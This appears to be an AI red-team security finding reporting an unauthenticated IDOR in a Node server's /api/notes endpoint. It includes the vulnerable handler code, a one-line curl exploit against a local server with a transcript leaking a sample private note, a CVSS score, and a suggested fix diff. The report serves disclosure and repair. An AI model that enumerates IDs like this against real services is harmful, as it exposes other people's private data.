Rook
AI red-teamer · 42nights

Unauthenticated IDOR on /api/notes Discloses Private User Data (Bank PINs, SSNs)

high7.5

idor · server.js:48-53

Introduced in 15b34d5cc6 by 42nights on 2026-06-03

Summary

The /api/notes handler at server.js:48 looks up a note solely by the attacker-controlled numeric `id` query parameter and returns the full record, including notes flagged `private: true`. There is no authentication, session validation, or check that the requesting user matches the note's `owner` field. The endpoint should require an authenticated session and verify that `note.owner` equals the caller's identity (or that the note is non-private) before returning it; instead it returns any record matching the supplied id.

Impact. Any unauthenticated remote attacker can enumerate `id=1,2,3,...` and read every user's notes, including content explicitly marked private such as bank PINs and SSNs (validated: `curl /api/notes?id=2` returned alice's private note containing `bank pin 4821`). This is a direct, mass disclosure of PII and credentials with no barrier — trivially scriptable and usable for fraud, account takeover, or identity theft.

Vulnerable code — server.js

🔴 if (parsed.pathname === "/api/notes") {
🔴 const id = Number(q.id || 1);
🔴 const note = NOTES.find((n) => n.id === id);
🔴 if (!note) return send(res, 404, "no such note");
🔴 return send(res, 200, JSON.stringify(note), "application/json");
🔴 }

Working exploit

curl -s 'http://127.0.0.1:4600/api/notes?id=2'

Exploit transcript

$ curl -s 'http://127.0.0.1:4600/api/notes?id=2'
HTTP 200  Content-Type: application/json
{"id":2,"owner":"alice","text":"alice PRIVATE: bank pin 4821","private":true}

Confirmed: HTTP 200 application/json body: {"id":2,"owner":"alice","text":"alice PRIVATE: bank pin 4821","private":true} retrieved via unauthenticated GET /api/notes?id=2

CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N7.5 (high)

Recommended fix

AI-suggested fix — review before applying (derived from analysis of untrusted repo content):

Require authentication and enforce ownership before returning the note:

```diff
   if (parsed.pathname === "/api/notes") {
-    const id = Number(q.id || 1);
-    const note = NOTES.find((n) => n.id === id);
-    if (!note) return send(res, 404, "no such note");
-    return send(res, 200, JSON.stringify(note), "application/json");
+    const user = authenticate(req); // validate session/token
+    if (!user) return send(res, 401, "authentication required");
+    const id = Number(q.id);
+    if (!Number.isInteger(id)) return send(res, 400, "invalid id");
+    const note = NOTES.find((n) => n.id === id);
+    if (!note) return send(res, 404, "no such note");
+    if (note.owner !== user.username && note.private) {
+      return send(res, 403, "forbidden");
+    }
+    return send(res, 200, JSON.stringify(note), "application/json");
   }
```

Prefer scoping the query to the caller (e.g., `NOTES.find(n => n.id === id && n.owner === user.username)`) so existence of others' notes is not revealed.

Ship the fix

Rook found it and proved it. Hand the finding — with its working exploit as a failing test — to Otis to write the fix PR.